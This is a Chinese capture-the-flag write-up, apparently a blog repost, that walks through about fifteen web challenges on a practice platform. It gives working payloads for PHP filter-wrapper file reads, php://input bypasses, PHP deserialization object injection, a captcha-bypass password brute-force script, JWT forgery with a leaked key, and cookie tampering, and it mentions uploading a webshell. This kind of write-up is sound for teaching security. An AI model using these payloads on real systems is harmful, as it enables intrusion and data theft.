论剑场中部分web题的WP
作者:互联网
好久不更,最近在学习ctf,今天更一波new bugctf论剑场中部分web题的WP,有一部分是借鉴大佬的博客!
web25
有一个输入框,一个下载链接,随便输入显示wrong!
,下载链接进去后转http://123.206.87.240:10025/2/ziidan.txt
显示下载错误,经多方尝试直接访问链接http://123.206.87.240:10025/ziidan.txt
会出现一些类似字典的字符串,如下
asdhjk
dakjhkjwq
adkjhsdk
fkdjknbv
dkajshdlj
hjsjnb
sdalkj
flagf
sfksjhwqe
dsalkjlkqjwe
hsjnb
尝试提交第一次打开链接的输入框提交,但是所有的都返回wrong!
,然后用dirsearch
扫描目录,有shell.php
,打开后也有一个输入框,尝试提交之前上面的字符串……最后一个正确,获取flag。
web3
打开链接可以看到是文件上传,猜测是文件上传漏洞,但是经过burp多次测试,无法上传php文件,因为文件上传后会被重命名。但是可以看见文件上传界面链接为http://123.206.87.240:10003/?op=upload
,猜测php伪协议,因此用php://filter/
读取文件,构造payload:
http://123.206.87.240:10003/?op=php://filter/read=convert.base64-encode/resource=flag
获取得到flag。当然也可以获取upload.php
文件内容,可以看到确实文件上传后保存于uploads文件夹下并且重命名。
参考:
[1] php伪协议
web4
打开链接是一个登录界面,猜测是注入,sqlmap大法,直接用POST的注入测试,发现是基于时间的注入,因此查库和表,可以看到账号和密码都是kk
明文,故登录返回flag。看WP还可以尝试万能密码登录,直接获取flag。
web8
此题貌似数据库被篡改了……
web15
有提示vim编辑器
,因此猜测是备份文件泄露,但是测试了vim
的备份后缀,都没有文件,因此用dirsearch
工具直接扫描,有index.php~
文件,下载后获取源码:
<?php
header('content-type:text/html;charset=utf-8');
include './flag.php';
error_reporting(0);
if(empty($_GET['id'])){
header('location:./1ndex.php');
}else{
$id = $_GET['id'];
if (!is_numeric($id)) {
$id = intval($id);
switch ($id) {
case $id>=0:
echo "快出去吧,走错路了~~~<br>";
echo "这么简单都不会么?";
break;
case $id>=10:
exit($flag);
break;
default:
echo "你走不到这一步的!";
break;
}
}
}
?>
可以看到此题需要三个点:
- 上传
id
参数值 - 绕过
is_numeric
函数 - 绕过
Switch
中的id
比较
按上述步骤,构造payload:
http://123.206.87.240:10015/index.php?id=aaa
获取得到flag
此处有一个疑问就是intval
函数会将传入的非数字转换为0
,为什么switch
中的$id>=10
是true
并且打印出flag
?具体查看参考。
参考
[1] vim产生的备份文件和临时文件
[2] intval函数介绍
[3] 关于PHP的switch比较
web22
打开链接是一个错误的页面,直接用dirsearch
扫描,发现个页面,其中有一个是upload.php
上传文件界面,可上传jpg文件,burp抓包修改文件内容为一句话,以及修改文件后缀,上传成功,蚁剑成功连接,上一级文件下存在TH1s_a_flag_can_yOU_fiNd.txt
文件,获取flag。
web14
很简单的一道.git
泄露题,扫描目录,发现很多.git
文件,因此用Githack
工具直接下载文件,发现有flag.php
文件,由此获取flag
web21
此题算是代码审计题,访问链接可以在页面注释中看到源码,如下。
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
审计代码可以判断需要完成或绕过以下点:
- GET方式上传
user
、file
和pass
3个参数值 - 绕过
if
条件
基于上述两个点,用php://input
的POST方式绕过file_get_contents()
,构造payload:
POST /?user=php://input&file=class.php&pass=aaa HTTP/1.1
Host: 123.206.87.240:10021
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 5
admin
burp抓包执行,可以看到返回hello admin!
,说明已经成功进入if
条件,但是没有其他的返回,再审计代码,代码中有file
传参和include()
,猜测可以用文件包含漏洞伪协议方式获取源码,故构造payload:
file=php://filter/read=convert.base64-encode/resource=index.php
burp执行,可以返回index.php
的base64编码,解码后得到源码如下。
<?php
//web21
error_reporting(E_ALL & ~E_NOTICE);
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
echo "hello admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin ! ";
}
?>
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
-->
同样的方式可以获取class.php
的源码。
<?php
error_reporting(E_ALL & ~E_NOTICE);
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>
可以看到flag
在f1a9.php
中,但是index.php
中过滤了f1a9
,因此file
无法直接传参f1a9.php
。但是在index.php
中有反序列化执行,因此结合class.php
生成payload。首先将class.php
中的类序列化。
<?php
error_reporting(E_ALL & ~E_NOTICE);
class Read{//f1a9.php
public $file = "f1a9.php";
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
$a = new Read();
$b = serialize($a);
echo $b; //O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}
?>
**注意:**给类中的$file
赋值!
然后将对象序列传给pass
,burp执行返回flag,最终的payload为:
POST /?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";} HTTP/1.1
Host: 123.206.87.240:10021
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
Origin: http://123.206.87.240:10021
Connection: close
Upgrade-Insecure-Requests: 1
admin
参考
[1] file_get_content绕过
[2] php伪协议
web23
此题应该是验证码绕过题,然后爆破。打开题目链接,可以看见关于验证码是时间戳的提示,其他没有任何提示或有用的信息,因此用dirsearch
扫描,得到几个文件页面。
[21:11:46] 301 - 178B - /admin -> http://123.206.87.240:10023/admin/
[21:11:48] 200 - 38B - /admin/login.php
[21:11:48] 200 - 3KB - /admin/login.html
[21:12:11] 200 - 795B - /index.html
[21:12:25] 200 - 187B - /readme.txt
[21:12:25] 200 - 36B - /robots.txt
有登录界面,果然登录界面的验证码是时间戳后五位,但是用admin
尝试登录,显示错误,逐个查看扫描出的文件,发现readme.txt
中有关于密码的提示,并且1.png
是关于验证码绕过的方便爆破密码。
//readme.txt
网站默认登录用户名和密码为
admin
123
用户登录后可自行修改密码
密码只支持3位数字
你也想学php验证码啊
http://123.206.31.85:10023/1.png
测试123是错误的,因此按照1.png
的教程绕过验证码,爆破密码,构造payload。
import requests
import time
url_post = "http://123.206.87.240:10023/admin/login.php"
headers = {'Cookie':'PHPSESSID=00000'}
for i in range(10):
for j in range(10):
for k in range(10):
pass_tmp = str(i)+str(j)+str(k)
data={'username':'admin','password':pass_tmp,'verifycode':'','submit':''}
res = requests.post(url_post,data=data,headers=headers)
if len(res.text) != 68:
print(pass_tmp)
print(res.text)
break
参考
[1] emlog绕过验证码刷评论
web7
打开题目链接,可以看到一个登录框,测试admin
登录后返回权限不够的信息,注册后登录任然权限不够,故burp抓包,发现登录胡返回页面Cookie
有两个。
u=351e76680321232f297a57a5a743894a0e4a801fc3
r=351e766803d63c7ede8cb1e1c8db5e51c63fd47cff
可以从显示的页面小饼干系统猜测于与Cookie
有关,因此对上满的Cookie
仔细研究,看着类似于md5的hash值,但是前几位是一样,去掉前几位在cmd5
上解密,得到如下。
u->admin
r->limited
猜测是不是将r
后的md5值改变会出现flag,因此抓包,将admin
的md5值赋给r
,发送获得flag
web24
这是个反序列化绕过__wakeup
函数的题,修改序列化的对象数即可,但是注意两点:
- 在页面源码最下面找到真正的题目页面
- 对象序列化后不要直接打印出后复制,然后
base64
编码,需要代码修改序列后base64
编码再打印复制,因为对象序列化后存在00%
无法复制,因此会出现错误,base64
编码后再复制可以避免这个问题。
参考
[1] PHP字符逃逸导致的对象注入
web10
此题是JWT登录问题,打开题目链接,可以看到是一个登录网页,测试admin
显示错误,burp抓包,可以看到网页源码中有注释提示<!--hint:NNVTU23LGEZDG===-->
,看着像Base64
但是解码出错,然后用Base32
测试,得到kk:kk123
,登录后可以看到有一个提示。
L3yx这家伙上次说vim一点都不好用,他写这个网站主页的时候还突然崩了,但他现在还不是在用,真香!
他好像还在这网站写了什么秘密,我一定要登他账号上去看看!
说明有vim
的备份文件,直接访问http://123.206.87.240:3032/
,可以显示目录,下载L3yx.php.swp
,然后用vim -r L3yx.php.swp
恢复文件,可以看到源码:
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>在线日记本</title>
<form action="" method="POST">
<p>username: <input type="text" name="username" /></p>
<p>password: <input type="password" name="password" /></p>
<input type="submit" value="login" />
</form>
<!--hint:NNVTU23LGEZDG===-->
</html>
<?php
error_reporting(0);
require_once 'src/JWT.php';
const KEY = 'L3yx----++++----';
function loginkk()
{
$time = time();
$token = [
'iss'=>'L3yx',
'iat'=>$time,
'exp'=>$time+5,
'account'=>'kk'
];
$jwt = \Firebase\JWT\JWT::encode($token,KEY);
setcookie("token",$jwt);
header("location:user.php");
}
if(isset($_POST['username']) && isset($_POST['password']) && $_POST['username']!='' && $_POST['password']!='')
{
if($_POST['username']=='kk' && $_POST['password']=='kk123')
{
loginkk();
}
else
{
echo "账号或密码错误";
}
}
?>
可以看到登录后有JWT设置Cookie
,
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJMM3l4IiwiaWF0IjoxNjMyODQxMzk5LCJleHAiOjE2MzI4NDE3OTAsImFjY291bnQiOiJMM3l4In0.hEHAepX5USEFHZnGdo2vPdtclLqA0rqSF8nWQkSsd3A
前两部分解码后
{"typ":"JWT","alg":"HS256"}{"iss":"L3yx","iat":1632841399,"exp":1632841790,"account":"L3yx"}
同时跳转到user.php
,因此可以通过JWT生成的网站https://jwt.io/
修改account
与exp
,然后利用Cookie
登录,并且将源码中的key:L3yx----++++----
,输入到密钥中,返回flag
参考
web19
此题是一道综合题,有以下几个点
.git
泄露sql
注入snow
隐写- 对象序列化
Cookie
传对象
针对第一点,打开网页没什么信息,直接用dirsearch
扫描网址,很多.git
的目录,然后用工具Git_Extract.py
进行下载文件,可能因为waf或者一些原因,可以看到只下载了一个flag.txt
文件,打开文件没有flag,而是一个路径提醒Hint 1: flag is in /eXpl0ve5p0cVeRymuCh
。
针对第二点,打开上述的路径,可以看见一个登录界面,测试admin
,显示错误,直接抓包,用sqlmap测试POST注入,测试出是基于时间的盲注,然后爆出库与表,得到用户与密码,还得到一个提示。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ElXnk5Og-1634041298935)(vx_images/1364239231082.png)]
针对第三点,用第二中得到的用户密码登录,可以看到一些记录,但是也没有什么提示,查看源码有一个提示,因为不知道snow
隐写,因此只能查看WP,大佬用snow.exe
解码,得到flag in /PPPPOOO0CCCC.php
,猜测flag在此文件中。
针对第四点,可以看到第二点数据库爆出一个代码截图,应该是提示,需要序列化与反序列化后执行类中的__destruct
方法,因此构造payload为:
<?php
class ReadFile {
public $file='../../PPPPOOO0CCCC.php';
}
$payload = new ReadFile();
echo urlencode(serialize($payload));
//O%3A8%3A%22ReadFile%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A22%3A%22..%2F..%2FPPPPOOO0CCCC.php%22%3B%7D
逐级测试后发现PPPPOOO0CCCC.php
的目录在上上级中。
针对第五点。上述payload生成后,无法上传,抓包发现其Cookie
中有text
,是url编码,解码后发现是一个序列化的对象,因此用上述生成的payload更换改参数,重新发送获得flag。
web 16
算式实战题,打开链接抓包查看,可以看到一个比较异常的Cookie
,猜测是修改Cookie
获取flag
,但是无从下手,在网页源码中可以看到3个js
文件分别是script.js
、md5.js
和base64.js
,控制台查看文件,看不出什么线索……然后查看WP,原来是js的Packer
打包,之前没有见过,script.js
是packer打包。
eval(function (p, a, c, k, e, r) {
e = function (c) {
return (c < 62 ? '' : e(parseInt(c / 62))) + ((c = c % 62) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if ('0'.replace(0, e) == 0) {
while (c--) r[e(c)] = k[c];
k = [
function (e) {
return r[e] || e
}
];
e = function () {
return '[57-9abd-hj-zAB]'
};
c = 1
};
while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p
}('7 s(t){5 m=t+"=";5 8=9.cookie.n(\';\');o(5 i=0;i<8.d;i++){5 c=8[i].trim();u(c.v(m)==0)p c.substring(m.d,c.d)}p""}7 w(a){5 x=new Base64();5 q=x.decode(a);5 r="";o(i=0;i<q.d;i++){5 b=q[i].charCodeAt();b=b^i;b=b-((i%10)+2);r+=String.fromCharCode(b)}p r}7 ertqwe(){5 y="user";5 a=s(y);a=decodeURIComponent(a);5 z=w(a);5 8=z.n(\';\');5 e="";o(i=0;i<8.d;i++){u(-1<8[i].v("A")){e=8[i+1].n(":")[2]}}e=e.B(\'"\',"").B(\'"\',"");9.write(\'<img id="f-1" g="h/1-1.k">\');j(7(){9.l("f-1").g="h/1-2.k"},1000);j(7(){9.l("f-1").g="h/1-3.k"},2000);j(7(){9.l("f-1").g="h/1-4.k"},3000);j(7(){9.l("f-1").g="h/6.png"},4000);j(7(){alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!A{"+md5(e)+"}")},5000)}', [
], 38, '|||||var||function|ca|document|temp|num||length|key|attack|src|image||setTimeout|jpg|getElementById|name|split|for|return|result|result3|getCookie|cname|if|indexOf|decode_create|base|temp_name|mingwen|flag|replace'.split('|'), 0, {
}))
解码后;
function getCookie(cname) {
var name = cname + "=";
var ca = document.cookie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i].trim();
if (c.indexOf(name) == 0) return c.substring(name.length, c.length)
}
return ""
}
function decode_create(temp) {
var base = new Base64();
var result = base.decode(temp);
var result3 = "";
for (i = 0; i < result.length; i++) {
var num = result[i].charCodeAt();
num = num ^ i;
num = num - ((i % 10) + 2);
result3 += String.fromCharCode(num)
}
return result3
}
function ertqwe() {
var temp_name = "user";
var temp = getCookie(temp_name);
temp = decodeURIComponent(temp);
var mingwen = decode_create(temp);
var ca = mingwen.split(';');
var key = "";
for (i = 0; i < ca.length; i++) {
if ( - 1 < ca[i].indexOf("flag")) {
key = ca[i + 1].split(":")[2]
}
}
key = key.replace('"', "").replace('"', "");
document.write('<img id="attack-1" src="image/1-1.jpg">');
setTimeout(function() {
document.getElementById("attack-1").src = "image/1-2.jpg"
},
1000);
setTimeout(function() {
document.getElementById("attack-1").src = "image/1-3.jpg"
},
2000);
setTimeout(function() {
document.getElementById("attack-1").src = "image/1-4.jpg"
},
3000);
setTimeout(function() {
document.getElementById("attack-1").src = "image/6.png"
},
4000);
setTimeout(function() {
alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!flag{" + md5(key) + "}")
},
5000)
}
貌似是解码Cookie
的,在控制台直接调用函数,可以看到解码后的Cookie
:
O:5:"human":10:{s:8:"xueliang";i:897;s:5:"neili";i:640;s:5:"lidao";i:74;s:6:"dingli";i:52;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:0;s:4:"flag";s:1:"0";}
可以修改属性,提交后按照游戏规则购买武器修炼,打败了蒙老魔,就能够获取flag
但是如何在讲修改后的对象编码为可以提交的Cookie
,继续查看WP,大佬给出php脚本:
<?php
function encode($payload) {
$result = '';
for($i = 0; $i < strlen($payload); $i++) {
$b = ord($payload[$i]);
$b = $b + (($i % 10) + 2);
$b = $b ^ $i;
$result = $result.chr($b);
}
return $result;
}
$payload = 'O:5:"human":10:{s:8:"xueliang";i:12;s:5:"neili";i:856;s:5:"lidao";i:83;s:6:"dingli";i:92;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:1000000;s:4:"flag";s:1:"1";}';
echo base64_encode(encode($payload));
?>
将money
属性值修改为1000000,编码提交修炼,然后打败老魔获取flag
。
标签:场中,payload,admin,echo,flag,file,WP,php,论剑 来源: https://blog.csdn.net/xiaokan_001/article/details/120731393